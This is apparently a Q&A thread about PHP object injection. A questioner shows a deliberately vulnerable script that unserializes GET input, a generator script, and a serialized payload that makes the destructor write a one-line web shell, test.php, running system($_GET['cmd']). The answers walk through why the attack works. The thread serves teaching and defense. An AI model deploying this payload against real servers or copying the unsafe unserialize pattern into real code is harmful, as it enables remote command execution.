1

I have recently created some PHP code vulnerable to object injection. Here is the code of my one.php file where I unserialize the data parameter:

<?php

class utkarsh {

    public $logfile = "delete.txt";
    public $logdata = "test1";

    function check()
    {
        echo "Services are good to go <br>";    
    }

    function __destruct()
    {
        if (file_put_contents(__DIR__ . '/'. $this->logfile, $this->logdata));
        echo "File contents has been uploaded";
    }
}

$v1 = unserialize(@$_GET['data']);

$object =  new utkarsh();
$object->check();

?>

And I successfully execute this code.

Now its time to exploit it, so I make another PHP file (called two.php) for serialization. Notice the value of $logdata.

<?php

class utkarsh 
{

    public $logfile = "test.php";
    public $logdata = '<?php system($_GET["cmd"])?>';

}

$v1 = new utkarsh();

$v2 = serialize($v1);

echo htmlspecialchars($v2)

?>

And I got this:

O:7:"utkarsh":2:{s:7:"logfile";s:8:"test.php";s:7:"logdata";s:28:"<?php system($_GET["cmd"])?>";}

When I inject this payload in the data parameter of one.php I successfully upload my one liner shell.

But how? I didn't even make any test.php file on my computer. How can this automatically create that file on my computer?

Anders
  • 64,406
  • 24
  • 178
  • 215
januu agrawal
  • 81
  • 2
  • 8

2 Answers2

5

The two files

It is important to understand their different roles of the two PHP files that you are using:

  • one.php is the vulnerable system, the one you are attacking.
  • two.php The second one is just a tool the attacker can use to generate the serialized object (i.e. data). It isn't supposed to be present on the system that you are attacking, and you don't need it at all. You could just as well generate the data string by hand.

So in a real example the two files wouldn't even be present on the same system. The first would run on the server that is being attacked, and the second would be executed localy at the attackers machine.

So why the same classname in both files? Because when data is deserialized on the server, you want it to create an instance of the utkarsh class. After all, that's the class that will write the file for you. For one.php to create an instance of that object, data needs to contain that object name. And an easy way to create a serialized object string containing that class name is to create a different class with that name and serialize it, just as you have done in two.php.

Note that when one.php runs unserialize it creates an instance of the utkarsh it knows about in one.php and not of the one in two.php.

The actual exploit

The exploit part of your process is making a request for one.php with the serialized object in the data parameter. So why does that result in a successful exploit? Let's go through, step by step, what is actually happening when one.php is executed.

  1. The first row that actually does something is this one:

    $v1 = unserialize(@$_GET['data']);
    

    Given the data you provided, it will create an object named $v1 of the class utkarsh (as defined in one.php) with the following properties:

    $logfile = "test.php";
    $logdata = '<?php system($_GET["cmd"])?>';
    
  2. Then there's this:

    $object =  new utkarsh();
    $object->check(); 
    

    This creates another instance of the utkarsh class. But it's not realy relevant for the exploit in any way as far as I can see - this should work equally well without those two lines.

  3. Then we reach the end of the script. When PHP reaches the end of a script it runs a "shutdown sequence". That includes calling the __destruct method on all objects. So for $v1 it will run this little piece of code:

    file_put_contents(__DIR__ . '/'. $this->logfile, $this->logdata)
    

    Or, if we enter the variable values:

    file_put_contents(__DIR__ . '/test.php', '<?php system($_GET["cmd"])?>')
    

    There you have it. You are right that "you" didn't write the file - instead you succesfully tricked the PHP script to write the backdoor for you.

Why is the system vulnerable?

The whole reason that this vulnerability is possible is that you pass user data to unserialize. That allows an attacker to create objects in states that they would never be in during "normal" execution of the program, allowing the program to have unexpected effects.

Anders
  • 64,406
  • 24
  • 178
  • 215
  • I am sorry @Anders I know you give your hard efforts to write this answer but frankly, I didn't get it. Okay, I think if I ask you some queries then I think It will be good for me. So, I created malicious serialized data(Which have same class but different properties), Now when I put this serialized data to **data parameter** It deserialized it. And Stores it in the **$v1 Variable**, I think you should agree with me?. But what is the process will happen after that? I have read your answer many times, it really very confusing to me. (You didn't use the two.php in answering). – januu agrawal Dec 28 '17 at 14:41
  • The main doubt is, my malicious serialized data having the Same Class, Then How this will be processed by the PHP interpreter? (I understand your 3rd point) – januu agrawal Dec 28 '17 at 14:45
  • 1
    @januuagrawal Perhaps it makes more sense now? I added some info. – Anders Dec 28 '17 at 15:35
4

If you use

class utkarsh {

    public $logfile = "delete.txt";
    public $logdata = "test1";

    function check()
    {
        echo "Services are good to go <br>";    
    }

    function __destruct()
    {
        if (file_put_contents(__DIR__ . '/'. $this->logfile, $this->logdata));
        echo "File contents has been uploaded";
    }
}

Then __destruct is going to be called by the PHP interpreter which means it will create a file $logfile with contents $logdata.

Now, when you unserialize an object you create an empty object and fill in the members. This means an attacker can control the $logfile and $logdata because the value for those are within the seralized data.

You can think of serialization as producing a string like logfile=delete.txt;logdata=test1 and then unseralize creates an utkarsh and reads the logfile and logdata from that string and sets the variables $logfile, $logdata accordingly. This means an attacker can craft a string logfile=someotherfile.php;logdata=<?php muahahaha();?> and this will result in an object of class utkarsh with $logfile = "someotherfile.php" and $logdata = "<?php muahahah();?> and if the __destruct() is called by the PHP interpreter you'll have a new file on that web server.

Remember: If you unserialize data, you give the input provider complete control over the internal state of the object that results from unserialization allowing them to set members to whatever value the input provider wants.

mroman
  • 555
  • 3
  • 9